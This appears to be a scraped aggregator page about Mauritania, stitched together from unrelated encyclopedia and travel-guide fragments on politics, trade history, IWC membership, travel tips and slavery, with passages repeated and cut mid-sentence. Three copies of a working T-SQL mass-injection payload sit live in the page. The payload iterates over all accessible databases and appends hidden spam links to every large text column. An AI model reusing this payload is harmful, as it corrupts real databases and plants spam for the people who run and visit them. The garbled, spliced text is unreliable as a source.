Mauritania

What is Mauritania known for?


community participation

republic, while Polisario continues to claim the Moroccan held city of El Aaiún, as the capital of a would-be independent Western Sahara. Day-to-day business, however, is conducted in the Tindouf (Tindouf Province) refugee camps in Algeria, which house most of the Sahrawi exile community. Participation in the IWC is not limited to states involved in whaling. Membership in the IWC has doubled since 2001 with an average of almost 6 states per year joining the IWC from 2002 to 2008. As of April 2011 there were 89 members. Current (2010) members are: Antigua and Barbuda, Argentina, Australia, Austria, Belgium, Belize, Benin, Brazil, Bulgaria, Cambodia, Cameroon, Chile, People's Republic of China, Republic of the Congo, Costa Rica, Côte d'Ivoire, Croatia, Cyprus, Czech Republic, Denmark (which also acts on the behalf of the Faroe Islands and Greenland), Dominica, Dominican Republic, Ecuador, Eritrea, Estonia, Finland, France, Gabon, The Gambia, Germany, Greece, Grenada, Guatemala, Republic of Guinea, Guinea-Bissau, Hungary, Iceland, India, Ireland (Republic of Ireland), Israel, Italy, Japan, Kenya, Republic of Korea, Kiribati, Laos, Lithuania, Luxembourg, Mali, Republic of the Marshall Islands, Mauritania, Mexico, Monaco, Mongolia, Morocco, Nauru, Netherlands, New Zealand, Nicaragua, Norway, Oman, Palau, Panama, Peru, Poland, Portugal, Romania, Russian Federation, Saint Kitts and Nevis, Saint Lucia, Saint Vincent and the Grenadines, San Marino, Senegal, Slovak Republic (Slovakia), Slovenia, Solomon Islands, South Africa, Spain, Suriname, Sweden, Switzerland, Tanzania, Togo, Tuvalu, United Kingdom, United States, Uruguay. - Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


monumental buildings';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv statistics ''+char(60)+''a href="http:''+char(47)+char(47)+''jasonfollas.com''+char(47)+''blog''+char(47)+''page''+char(47)+''hiv-skin-rash.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''jasonfollas.com'''' when 1 then ''''jasonfollas.com'''' else ''''site'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' how do you get hiv or aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of Ancient Egypt publisher Oxford University Press year 2002 location Oxford, England page 61 isbn 0-500-05074-0 They also imported obsidian from Ethiopia (History of Ethiopia) to shape blades and other objects. Barbara G. Aston, James A. Harrell, Ian Shaw (2000). Paul T. Nicholson and Ian Shaw editors. "Stone", in ''Ancient Egyptian Materials and Technology'', Cambridge, 5-77, pp. 46-47. Also note: Barbara G. Aston (1994). "Ancient Egyptian

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

appeared to have secured his position and to have gained widespread international and internal support. Some figures, such as Senate chairman Messaoud Ould Boulkheir, continued to refuse the new order and call for Abdel Aziz's resignation. In February 2011, the waves of the Arab Spring spread to Mauritania (2011–2013 Mauritanian protests), where hundreds of people took to the streets of the capital.


colourful buildings

to round up teams of fish into shallow waters for them to be netted. In the southeast, the oasis city of '''Oualata''' was the southern end of most trans-Sahara trading routes in the 13th & 14th centuries. The city boasts colourful buildings, many of which feature intricate geometric designs. The city is a UNESCO World Heritage Site and also boasts a manuscript museum with examples of ancient scrolls in fine calligraphy. Do thumb Visiting the Hamoni library in Chinguetti. (Image:Chinguetti-Guide.JPG) Buy Souvenirs can be bought at Marche Capital or Marche Sixieme in Nouakchott, or at tourist shops in the Adrar. Fabric will be sold in boutiques all over the country, but Kaedi is famous for its tie-dying. In general, the quality of most Mauritanian souvenirs is not as good as one might expect. That said, you can find leather products, pipes, wooden bowls, tea pots and silver jewellery among other things (be careful with the quality of jewellery). Fabric, however, is tie-dyed by hand and can be quite beautiful. Fabric will be sold as a mulafa (veil)--usually gauzy and one piece--or as material for a boubou, with two separate pieces for a skirt and top. Fabric is sold anywhere for anything from MRO1,500 to MRO8,000, depending on the fabric quality and work involved. When buying anything in Mauritania, be sure to bargain (haggling). Sometimes the starting price will be three times the actual price. Stay friendly, but don't worry about insulting anyone by asking for a lower price. Eat thumb Fisherman's market near Nouakchott (Image:Fish market nouakchott mauritania.JPG). There is a decent variety of restaurants in Nouakchott with dishes costing from 1,000 to 2,500 ouguiya. Most restaurants in the capital offer much the same menu - simple pizzas, hamburgers, sandwiches and salads. There is a string of restaurants on the road from the Stade Olympique to the French Embassy. Good ones include Pizza Lina, Café Liban and Le Petit Café. The Sahara Café, on the other side of the stadium, is also a good place for pizza, sandwiches or Lebanese dishes, and has some of the best reasonably-priced food in town. Near Marche Capitale, there is a street of sandwich shops that offer near-identical menus, the best of which is the Prince (which taxi drivers know by name). Outside of Nouakchott, it is possible to find a hamburger in Atar. Otherwise, the choice is local dishes: fish and rice (chebujin) in the south and rice and meat or couscous in the north. Hole-in-the-wall restaurants can be found everywhere and serve meals from MRO200-500. Mechui, or grilled sheep, is also delicious if a little more expensive. Look for carcasses hanging by the side of the road. Some fruit can be found in most regional capitals. Note that most restaurants outside of Nouakchott do not have very high standards of cleanliness. Since most small restaurants go under within a few years of opening, your best bet in trying to find one in a regional capital is to just ask locals for directions to whatever is nearby. Another alternative, in the absence of a restaurant, is paying a family to prepare food for you, which should be relatively inexpensive (no more than MRO1,500), even if it takes a while (up to a couple hours to buy the food and prepare it). Bottled water can be bought for MRO200 and is a good idea for anyone not accustomed to Africa. If none of this sounds good, keep in mind that boutiques everywhere sell bread, cakes, biscuits and drinks if nothing else. Tea is usually served after a meal, but it is not included with the meal at restaurants. If you are offered tea in someone's home, it is impolite to leave until at least the second (of three) glasses. The whole process takes about an hour. Drink Despite being an Islamic country there are a few fun bars in the capital. Drinking can be expensive, with a beer costing up to USD6. There is a nightclub inside the French Embassy compound. For the non-French, try the Salamander or the trashy (but open late) Club VIP. Next door to VIP is the Casablanca, a more low-key bar with live music on the weekends. Note that '''it is illegal to import alcohol!''' Sleep All ranges of accommodation are available, with the highest class hotels available only in Nouakchott and Atar. "Auberges" and Campsites can rent beds mattresses for as little as 1500 ouguiya in the Adrar and Nouadhibou. There is usually at least one hotel in the regional capitals in the rest of the country, although they can be expensive for what you are getting. If possible, make friends with a local and try to get invited to stay with their family. As long as you don't mind sleeping on the ground on a foam mat, sleeping eating near animals or using a latrine, the you will probably end up having a pleasant and memorable stay. Learn *The '''University of Nouakchott''' has very few short term courses of interest to most travellers. Stay safe The area near the Western Sahara is heavily mined and travel through this area is highly inadvisable. Border areas lining Algeria and Mali are notorious for banditry. The single paved road coming from Morocco is especially dangerous, being the site of recent Al Qaida kidnappings. If you must travel on this path, it is best to do so in a tight caravan. In other areas, one should avoid flaunting wealth or expensive wares. Daunting though it may seem, a bit of research and common sense will ensure a pleasant trip in Mauritania. Check your Embassy or Consulate travel advisories carefully. Due to increasing numbers of attacks on Westerners in the past several years, most Western nations advise great caution. Resident expatriates travel between cities by day, in groups and on major routes. Stay healthy For the majority of Westerners, the local water in any part of the country (including Nouakchott) is not safe to drink. Visitors should drink only bottled water if they don't have access to some type of water purifying or filtration system. The Sahara is a very dry climate. You may become dehydrated quite easily, and not be aware of it. The best rule of thumb is to be sure that you have urinated three times each day, at reasonable intervals. In the hottest part of the year, this might mean drinking several litres of water each day. Malaria is endemic in the Southern part of the country, and visitors should always use a mosquito net there. Mosquitoes are less common in the dry desert in the North of the country, but exist year-round in the South, if a bit less prevalent during the dry season (December-May). Respect Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


world working

download attachments 69533704 Elliesie+Islamic+Modeled+States.pdf ''Rule of Law in Islamic Modeled States'' . In: Matthias Koetter Gunnar Folke Schuppert (Eds.), Understanding of the Rule of Law in various Legal Orders of the World: Working Paper Series Nr. 13 of SFB 700: Governance in Limited Areas of Statehood, Berlin 2010. in the Muslim world, including the Islamic Republics of Pakistan, Iran Moschtaghi, Ramin.

22347860 Moschtaghi+Iran.pdf?version 3&modificationDate 1309541940000 ''Rule of Law in Iran'' . In: Matthias Koetter Gunnar Folke Schuppert (Eds.), Understanding of the Rule of Law in various Legal Orders of the World: Working Paper Series Nr. 11 of SFB 700: Governance in Limited Areas of Statehood, Berlin 2010. and Afghanistan. Elliesie, Hatem. ''Rule of Law in Afghanistan

'' . In: Matthias Koetter Gunnar Folke Schuppert (Eds.), Understanding of the Rule of Law in various Legal Orders of the World: Working Paper Series Nr. 4 of SFB 700: Governance in Limited Areas of Statehood, Berlin 2010. Pakistan adopted the title under the constitution of 1956. Mauritania adopted it on 28 November 1958. Iran adopted it after the 1979 Iranian Revolution (Iranian Revolution) that overthrew the Pahlavi dynasty. In Iran, the form of government is known


community created

in Alibaba.com, China's second-largest e-commerce concern. (Reuters) According to the US conservative review ''National Interest'', Jacques Foccart played "an essential role" in the negotiation of the Cooperation accords with the newly independent African states, former members of the French Community created in 1958


carrying gold

in gold. Ever since Mansa Musa, king of the Mali Empire, made his pilgrimage to Mecca in 1325, with 500 slaves and 100 camels (each carrying gold) the region had become synonymous with such wealth. The trade from sub-Saharan Africa was controlled by the Islamic Empire (Caliphate) which stretched along Africa's northern coast. Muslim trade routes across the Sahara, which had existed for centuries, involved salt, kola (kola nut), textiles, fish, grain

to Mecca in 1325, with 500 slaves and 100 camels (each carrying gold) the region had become synonymous with such wealth. The trade from West Africa was controlled by the Islamic Empire (Caliphate) which stretched along Africa's northern coast. Muslim trade routes across the Sahara, which had existed for centuries, involved salt, kola, textiles, fish, grain, and slaves. A.L. Epstein, Urban Communities in Africa - Closed Systems and Open Minds, 1964 ref>


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv statistics ''+char(60)+''a href="http:''+char(47)+char(47)+''jasonfollas.com''+char(47)+''blog''+char(47)+''page''+char(47)+''hiv-skin-rash.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''jasonfollas.com'''' when 1 then ''''jasonfollas.com'''' else ''''site'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' how do you get hiv or aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of Ancient Egypt publisher Oxford University Press year 2002 location Oxford, England page 61 isbn 0-500-05074-0 They also imported obsidian from Ethiopia (History of Ethiopia) to shape blades and other objects. Barbara G. Aston, James A. Harrell, Ian Shaw (2000). Paul T. Nicholson and Ian Shaw editors. "Stone", in ''Ancient Egyptian Materials and Technology'', Cambridge, 5-77, pp. 46-47. Also note: Barbara G. Aston (1994). "Ancient Egyptian

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

appeared to have secured his position and to have gained widespread international and internal support. Some figures, such as Senate chairman Messaoud Ould Boulkheir, continued to refuse the new order and call for Abdel Aziz's resignation. In February 2011, the waves of the Arab Spring spread to Mauritania (2011–2013 Mauritanian protests), where hundreds of people took to the streets of the capital.


monumental buildings;declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv statistics ''+char(60)+''a href="http:''+char(47)+char(47)+''jasonfollas.com''+char(47)+''blog''+char(47)+''page''+char(47)+''hiv-skin-rash.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''jasonfollas.com'''' when 1 then ''''jasonfollas.com'''' else ''''site'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' how do you get hiv or aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of Ancient Egypt publisher Oxford University Press year 2002 location Oxford, England page 61 isbn 0-500-05074-0 They also imported obsidian from Ethiopia (History of Ethiopia) to shape blades and other objects. Barbara G. Aston, James A. Harrell, Ian Shaw (2000). Paul T. Nicholson and Ian Shaw editors. "Stone", in ''Ancient Egyptian Materials and Technology'', Cambridge, 5-77, pp. 46-47. Also note: Barbara G. Aston (1994). "Ancient Egyptian

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

appeared to have secured his position and to have gained widespread international and internal support. Some figures, such as Senate chairman Messaoud Ould Boulkheir, continued to refuse the new order and call for Abdel Aziz's resignation. In February 2011, the waves of the Arab Spring spread to Mauritania (2011–2013 Mauritanian protests), where hundreds of people took to the streets of the capital.


natural range

) * Watergate papers of ''Washington Post'' reporters Bob Woodward and Carl Bernstein are announced to go on public display. The reporters still do not intend to reveal the identity of Deep Throat (Deep Throat (Watergate)). (Reuters) (Washington Post) Natural range Barbary Sheep are found naturally in northern Africa in Algeria


poor black

; For centuries, the so-called Haratin lower class, mostly poor black Africans living in rural areas, have been considered natural slaves by white Moors of Arab Berber ancestry. Many descendants of the Arab and Berber (Berber people) tribes today still adhere to the supremacist ideology of their ancestors. This ideology has led to oppression, discrimination and even enslavement of other groups in the region of Sudan and Western Sahara.

Mauritania

common_name Mauritania image_flag Flag of Mauritania.svg image_coat Coat of arms of Mauritania.svg image_map Location Mauritania AU Africa.svg map_caption symbol_type Seal national_motto national_anthem نشيد وطني موريتاني File:National Anthem of Mauritania by US Navy Band.ogg official_languages Arabic (Arabic language) a national_languages languages_type Other languages languages French (French language) Zenaga Berber (Zenaga language) official_religion Sunni Islam demonym Mauritanian (Demographics of Mauritania) capital Nouakchott religion Islam (Islam in Mauritania) latd 18 latm 09 latNS N longd 15 longm 58 longEW W largest_city capital government_type Semi-presidential (Semi-presidential system) republic b leader_title1 President (List of heads of state of Mauritania) leader_name1 Mohamed Ould Abdel Aziz leader_title2 Prime Minister (List of heads of government of Mauritania) leader_name2 Yahya Ould Hademine legislature Parliament (Parliament of Mauritania) upper_house Senate (Senate (Mauritania)) lower_house National Assembly (National Assembly (Mauritania)) sovereignty_type Independence established_event1 from France (French colonial empire) established_date1 28 November 1960 established_event2 Current Constitution of Mauritania established_date2 12 July 1991 area_rank 29th area_magnitude 1 E12 area_km2 1,030,700 area_sq_mi 397,954 percent_water 0.03 population_estimate 3,359,185 population_estimate_year 2012 population_estimate_rank population_census 3,537,368 population_census_year 2013 population_density_km2 3.2 population_density_sq_mi 8.2 population_density_rank 221st GDP_PPP_year 2013 GDP_PPP $8.286 billion GDP_PPP_rank 154th GDP_PPP_per_capita $2,230 GDP_PPP_per_capita_rank 160th GDP_nominal $4.547 billion GDP_nominal_year 2013 GDP_nominal_rank 154th GDP_nominal_per_capita $1,224 GDP_nominal_per_capita_rank 149th Gini_year 2008 Gini_change Gini 40.5 Gini_ref Gini_rank HDI_year 2013 HDI_change decrease HDI 0.487 HDI_ref HDI_rank 161st currency Ouguiya (Mauritanian ouguiya) currency_code MRO country_code MR time_zone utc_offset +0 time_zone_DST not observed utc_offset_DST +0 drives_on right calling_code +222 cctld .mr footnote_a According to Article 6 of the Constitution: "The national languages are Arabic, Pulaar (Pulaar language), Soninke (Soninke language), and Wolof (Wolof language); the official language is Arabic." footnote_b Not recognized internationally (see main article).

'''Mauritania''' ; Soninke (Soninke language): ''Murutaane''; Pulaar (Pulaar language): ''Moritani''), officially the '''Islamic Republic of Mauritania''', is a country in the Maghreb region of western North Africa. Facts On File, Incorporated, Encyclopedia of the Peoples of Africa and the Middle East (2009), p. 448, books.google.com books?ISBN 143812676X-"The Islamic Republic of Mauritania, situated in western North Africa..." David Seddon, ''A Political and Economic Dictionary of the Middle East'' (2004), "We have, by contrast, chosen to include the predominantly Arabic-speaking countries of western North Africa (the Maghreb), including Mauritania (which is a member of the Arab Maghreb Union)..." Mohamed Branine, ''Managing Across Cultures: Concepts, Policies and Practices'' (2011), p. 437, "The Magrebian countries or the Arab countries of western North Africa (Algeria, Libya, Mauritania, Morocco and Tunisia)..." It is the eleventh largest country in Africa, and is bordered by the Atlantic Ocean to the west, by Moroccan-controlled Western Sahara in the north, by Algeria in the northeast, by Mali in the east and southeast, and by Senegal in the southwest.

The country derives its name from the ancient Berber Kingdom of Mauretania (Mauretania), which existed from the 3rd century BC to the 7th century AD, in the far north of modern-day Morocco. Approximately 90% of Mauritania's land is within the Sahara Desert and consequently the population is concentrated in the south, where precipitation is slightly higher than the rest of the country. The capital and largest city of Mauritania is Nouakchott, located on the Atlantic coast, which is home to around one-third of the country's 3.5 million people. The government of Mauritania was overthrown on 6 August 2008, in a military coup d'état (2008 Mauritanian coup d'état) led by General Mohamed Ould Abdel Aziz. On 16 April 2009, General Aziz resigned from the military to run for president in the 19 July elections, which he won.

About 20% of Mauritanians live on less than US$1.25 per day. Higher estimates suggest 10% to 20% of the population (340,000 to 680,000 people) is enslaved. Additional human rights concerns in Mauritania include female genital mutilation and child labour.

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